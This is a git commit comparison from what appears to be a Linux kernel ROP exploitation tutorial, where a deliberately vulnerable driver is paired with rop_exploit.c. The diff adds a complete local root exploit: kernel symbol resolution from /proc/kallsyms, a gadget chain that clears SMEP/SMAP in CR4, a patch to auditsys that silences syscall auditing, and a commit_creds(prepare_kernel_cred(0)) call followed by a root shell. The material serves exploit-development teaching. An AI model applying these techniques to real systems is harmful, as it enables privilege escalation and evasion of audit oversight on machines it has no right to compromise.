Compare commits
3 Commits
Author | SHA1 | Date | |
---|---|---|---|
cc974ee475 | |||
ce30b9df80 | |||
5564505b57 |
1
Makefile
1
Makefile
@ -3,6 +3,7 @@ obj-m += drv.o
|
||||
CC=gcc
|
||||
ccflags-y += "-g"
|
||||
ccflags-y += "-O0"
|
||||
ccflags-y += "-ggdb"
|
||||
|
||||
all:
|
||||
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
|
||||
|
@ -5,6 +5,8 @@ privilege escalation ROP (Return Oriented Programming) chain in practice. The
|
||||
article URL for Part 1 is available at
|
||||
<https://cyseclabs.com/page?n=17012016>.
|
||||
|
||||
[![asciicast](https://asciinema.org/a/2yy003e6xd0s4qrfcfkurzmge.png)](https://asciinema.org/a/2yy003e6xd0s4qrfcfkurzmge)
|
||||
|
||||
The driver module is vulnerable to OOB access and allows arbitrary code
|
||||
execution. An arbitrary offset can be passed from user space via the provided
|
||||
ioctl(). This offset is then used as the index for the 'ops' array to obtain
|
||||
|
236
rop_exploit.c
236
rop_exploit.c
@ -1,10 +1,20 @@
|
||||
/**
|
||||
* ROP exploit for drv.c kernel module
|
||||
*
|
||||
* Tested in CentOS Linux release 7.2.1511 (Core):
|
||||
* Linux 3.10.0-327.36.1.el7.x86_64
|
||||
* qemu 2.5.0 / i7-4500U
|
||||
*
|
||||
* Compile:
|
||||
* gcc rop_exploit.c -O2 -o rop_exploit
|
||||
*
|
||||
* Email: vnik@cyseclabs.com
|
||||
* Vitaly Nikolenko
|
||||
* Email: andrey.arapov@nixaid.com
|
||||
* Andrey Arapov
|
||||
*
|
||||
* Based on Vitaly Nikolenko's work:
|
||||
* https://github.com/vnik5287/kernel_rop/
|
||||
*
|
||||
* Additional thanks to spender!
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
@ -18,6 +28,7 @@
|
||||
#include <errno.h>
|
||||
#include <sys/mman.h>
|
||||
#include <assert.h>
|
||||
#include <sys/utsname.h>
|
||||
#include "drv.h"
|
||||
|
||||
#define DEVICE_PATH "/dev/vulndrv"
|
||||
@ -26,13 +37,20 @@ unsigned long user_cs;
|
||||
unsigned long user_ss;
|
||||
unsigned long user_rflags;
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
|
||||
static void save_state() {
|
||||
asm(
|
||||
"movq %%cs, %0\n"
|
||||
"movq %%ss, %1\n"
|
||||
"pushfq\n"
|
||||
"popq %2\n"
|
||||
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" );
|
||||
: "=r" (user_cs),
|
||||
"=r" (user_ss),
|
||||
"=r" (user_rflags) : : "memory");
|
||||
}
|
||||
|
||||
void shell(void) {
|
||||
@ -42,6 +60,79 @@ void shell(void) {
|
||||
exit(0);
|
||||
}
|
||||
|
||||
int __attribute__((regparm(3))) get_root()
|
||||
{
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
return -1;
|
||||
}
|
||||
|
||||
static unsigned long get_kernel_sym(char *name)
|
||||
{
|
||||
FILE *f;
|
||||
unsigned long addr;
|
||||
char dummy;
|
||||
char sname[512];
|
||||
struct utsname ver;
|
||||
int ret;
|
||||
int rep = 0;
|
||||
int oldstyle = 0;
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (f == NULL) {
|
||||
f = fopen("/proc/ksyms", "r");
|
||||
if (f == NULL)
|
||||
goto fallback;
|
||||
oldstyle = 1;
|
||||
}
|
||||
repeat:
|
||||
ret = 0;
|
||||
while(ret != EOF) {
|
||||
if (!oldstyle)
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
else {
|
||||
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
|
||||
if (ret == 2) {
|
||||
char *p;
|
||||
if (strstr(sname, "_O/") || strstr(sname, "_S."))
|
||||
continue;
|
||||
p = strrchr(sname, '_');
|
||||
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
|
||||
p = p - 4;
|
||||
while (p > (char *)sname && *(p - 1) == '_')
|
||||
p--;
|
||||
*p = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
fclose(f);
|
||||
if (rep)
|
||||
return 0;
|
||||
fallback:
|
||||
/* didn't find the symbol, let's retry with the System.map
|
||||
dedicated to the pointlessness of Russell Coker's SELinux
|
||||
test machine (why does he keep upgrading the kernel if
|
||||
"all necessary security can be provided by SE Linux"?)
|
||||
*/
|
||||
uname(&ver);
|
||||
if (strncmp(ver.release, "2.6", 3))
|
||||
oldstyle = 1;
|
||||
sprintf(sname, "/boot/System.map-%s", ver.release);
|
||||
f = fopen(sname, "r");
|
||||
if (f == NULL)
|
||||
return 0;
|
||||
rep = 1;
|
||||
goto repeat;
|
||||
}
|
||||
|
||||
void usage(char *bin_name) {
|
||||
fprintf(stderr, "%s array_offset_decimal array_base_address_hex\n", bin_name);
|
||||
}
|
||||
@ -58,44 +149,125 @@ int main(int argc, char *argv[])
|
||||
return -1;
|
||||
}
|
||||
|
||||
// commit_creds = (_commit_creds) 0xffffffff810ac980UL;
|
||||
// prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff810acc90UL;
|
||||
commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
|
||||
prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");
|
||||
|
||||
/*
|
||||
* req.offset
|
||||
* when xchg_esp_eax_ret_N_rop_gadget % 8 == 0,
|
||||
* req.offset = ( (1 << 64) + ((xchg_esp_eax_ret_N_rop_gadget - base_addr)/8) )
|
||||
*/
|
||||
req.offset = strtoul(argv[1], NULL, 10);
|
||||
base_addr = strtoul(argv[2], NULL, 16);
|
||||
base_addr = strtoul(argv[2], NULL, 16); // address of ops driver structure
|
||||
|
||||
printf("array base address = 0x%lx\n", base_addr);
|
||||
stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff;
|
||||
fprintf(stdout, "stack address = 0x%lx\n", stack_addr);
|
||||
printf("array base address = 0x%lx\n", base_addr);
|
||||
|
||||
mmap_addr = stack_addr & 0xffff0000;
|
||||
assert((mapped = mmap((void*)mmap_addr, 0x20000, 7, 0x32, 0, 0)) == (void*)mmap_addr);
|
||||
assert((temp_stack = mmap((void*)0x30000000, 0x10000000, 7, 0x32, 0, 0)) == (void*)0x30000000);
|
||||
stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff;
|
||||
fprintf(stdout, "stack address = 0x%lx\n", stack_addr);
|
||||
|
||||
save_state();
|
||||
/*
|
||||
* allocate space in memory where the fake_stack will be stored.
|
||||
*/
|
||||
mmap_addr = stack_addr & 0xffff0000; // clear last 4 hex's
|
||||
mapped = mmap((void*)mmap_addr, 0x20000,
|
||||
PROT_EXEC|PROT_READ|PROT_WRITE,
|
||||
MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
|
||||
assert(mapped == (void*)mmap_addr);
|
||||
|
||||
temp_stack = mmap((void*)0x30000000, 0x10000000,
|
||||
PROT_EXEC|PROT_READ|PROT_WRITE,
|
||||
MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
|
||||
assert(temp_stack == (void*)0x30000000);
|
||||
|
||||
save_state(); // this state will be used when returning back to user-space from kernel-space
|
||||
|
||||
// fake_stack begins here
|
||||
fake_stack = (unsigned long *)(stack_addr);
|
||||
*fake_stack ++= 0xffffffff810c9ebdUL; /* pop %rdi; ret */
|
||||
*fake_stack ++= 0xffffffff8100359fUL; // : nop ; ret
|
||||
|
||||
fake_stack = (unsigned long *)(stack_addr + 0x11e8 + 8);
|
||||
/*
|
||||
* In reality 0x14ff was 0x9d57:
|
||||
* $ grep 0x14ff $(uname -r).gadgets
|
||||
* 0xffffffff810e03f8: xchg eax, esp ; ret 0x14ff
|
||||
*
|
||||
* $ sudo gdb /boot/vmlinuz-$(uname -r) /proc/kcore
|
||||
* (gdb) x/2xi 0xffffffff810e03f8
|
||||
* 0xffffffff810e03f8: xchg esp,eax
|
||||
* 0xffffffff810e03f9: ret 0x9d57
|
||||
*/
|
||||
|
||||
*fake_stack ++= 0x0UL; /* NULL */
|
||||
*fake_stack ++= 0xffffffff81095430UL; /* prepare_kernel_cred() */
|
||||
// Update fake_stack's pointer
|
||||
fake_stack = (unsigned long *)(stack_addr + 0x9d57 + 8);
|
||||
|
||||
*fake_stack ++= 0xffffffff810dc796UL; /* pop %rdx; ret */
|
||||
//*fake_stack ++= 0xffffffff81095190UL; /* commit_creds() */
|
||||
*fake_stack ++= 0xffffffff81095196UL; // commit_creds() + 2 instructions
|
||||
/*
|
||||
* Disable SMEP and SMAP (20 and 21st bit of CR4 respectively)
|
||||
* CR4 should be => $CR4 % 0x300000
|
||||
*
|
||||
* $ cat 3.10.0-327.28.3.el7.x86_64.rop |grep -E ': pop rdi ; ret$|: mov cr4, rdi'
|
||||
* 0xffffffff8100328d : mov cr4, rdi ; pop rbp ; ret
|
||||
* 0xffffffff8107c2c4 : pop rdi ; ret
|
||||
*
|
||||
*/
|
||||
*fake_stack ++= 0xffffffff81114705UL; // pop %rdi; ret
|
||||
*fake_stack ++= 0x6f0UL; // disabled SMEP and SMAP
|
||||
*fake_stack ++= 0xffffffff8100328dUL; // (Intel) mov cr4, rdi ; pop rbp ; ret
|
||||
*fake_stack ++= 0xdeadbeefUL; // dummy
|
||||
|
||||
*fake_stack ++= 0xffffffff81036b70UL; /* mov %rax, %rdi; call %rdx */
|
||||
/*
|
||||
* Circumvent Linux Audit system.
|
||||
* bypass syscall audit configuration without fully disabling Linux Audit system.
|
||||
*
|
||||
* /proc/kallsyms:
|
||||
* ffffffff81646acf t auditsys
|
||||
* ffffffff8110b960 T __audit_syscall_entry
|
||||
*
|
||||
* gdb> x/1xi 0xffffffff81646acf+15
|
||||
* 0xffffffff81646ade: call 0xffffffff8110b960 <-- auditsys+15 calls __audit_syscall_entry
|
||||
*
|
||||
* NOTE: This will not work if kernel was built witth enabled CONFIG_DEBUG_RODATA (Write protect kernel read-only data structures)
|
||||
*/
|
||||
|
||||
*fake_stack ++= 0xffffffff81052804UL; // swapgs ; pop rbp ; ret
|
||||
*fake_stack ++= 0xdeadbeefUL; // dummy placeholder
|
||||
|
||||
*fake_stack ++= 0xffffffff81053056UL; /* iretq */
|
||||
*fake_stack ++= (unsigned long)shell; /* spawn a shell */
|
||||
*fake_stack ++= user_cs; /* saved CS */
|
||||
*fake_stack ++= user_rflags; /* saved EFLAGS */
|
||||
*fake_stack ++= (unsigned long)(temp_stack+0x5000000); /* mmaped stack region in user space */
|
||||
*fake_stack ++= user_ss; /* saved SS */
|
||||
*fake_stack ++= 0xffffffff81077d17UL; // pop %rdx; ret
|
||||
*fake_stack ++= 0x9090909090909090UL; // rdx is: NOP (will be used to overwrite auditsys's callq __audit_syscall_entry)
|
||||
*fake_stack ++= 0xffffffff81114705UL; // pop %rdi; ret
|
||||
*fake_stack ++= 0xffffffff81646adeUL; // rdi is: auditsys+15
|
||||
*fake_stack ++= 0xffffffff812fba16UL; // mov qword ptr [rdi], rdx ; ret (overwrite)
|
||||
|
||||
|
||||
//map = mmap((void *)..., ..., 3, 0x32, 0, 0);
|
||||
/*
|
||||
* To switch our process's owner to root, it is enough to execute:
|
||||
* commit_creds(prepare_kernel_cred(0)) syscalls
|
||||
* rdx(rax(0))
|
||||
*
|
||||
* You can also try using get_root function instead of a bare ROP
|
||||
*/
|
||||
|
||||
// *fake_stack ++= (unsigned long)get_root;
|
||||
|
||||
*fake_stack ++= 0xffffffff81114705UL; // pop %rdi; ret
|
||||
*fake_stack ++= 0x0UL; // rdi is NULL
|
||||
*fake_stack ++= 0xffffffff810acc90UL; // prepare_kernel_cred() and $rax points to cred struct
|
||||
|
||||
*fake_stack ++= 0xffffffff81077d17UL; // pop %rdx; ret
|
||||
// // *fake_stack ++= 0xffffffff810ac980UL; // commit_creds()
|
||||
*fake_stack ++= 0xffffffff810ac986UL; // commit_creds() + skip first push instruction
|
||||
|
||||
*fake_stack ++= 0xffffffff81016d77UL; // mov rdi, rax ; call rdx => calls commit_creds(prepare_kernel_cred(0))
|
||||
|
||||
|
||||
// safely return to user-space from the kernel-space
|
||||
*fake_stack ++= 0xffffffff81058ef4UL; // swapgs ; pop rbp ; ret
|
||||
*fake_stack ++= 0xdeadbeefUL; // dummy placeholder
|
||||
|
||||
*fake_stack ++= 0xffffffff81059856UL; // iretq
|
||||
*fake_stack ++= (unsigned long)shell; // spawn a shell
|
||||
*fake_stack ++= user_cs; // saved CS
|
||||
*fake_stack ++= user_rflags; // saved EFLAGS
|
||||
*fake_stack ++= (unsigned long)(temp_stack+0x5000000); // mmaped stack region in user space
|
||||
*fake_stack ++= user_ss; // saved SS
|
||||
|
||||
|
||||
fd = open(DEVICE_PATH, O_RDONLY);
|
||||
|
||||
@ -103,7 +275,13 @@ int main(int argc, char *argv[])
|
||||
perror("open");
|
||||
}
|
||||
|
||||
/*
|
||||
* trigger the vulnerable Linux kernel driver now,
|
||||
* pointing to our fake_stack
|
||||
*/
|
||||
ioctl(fd, 0, &req);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// vim: set list noexpandtab tabstop=4 shiftwidth=4 softtabstop=4
|
||||
|
Loading…
Reference in New Issue
Block a user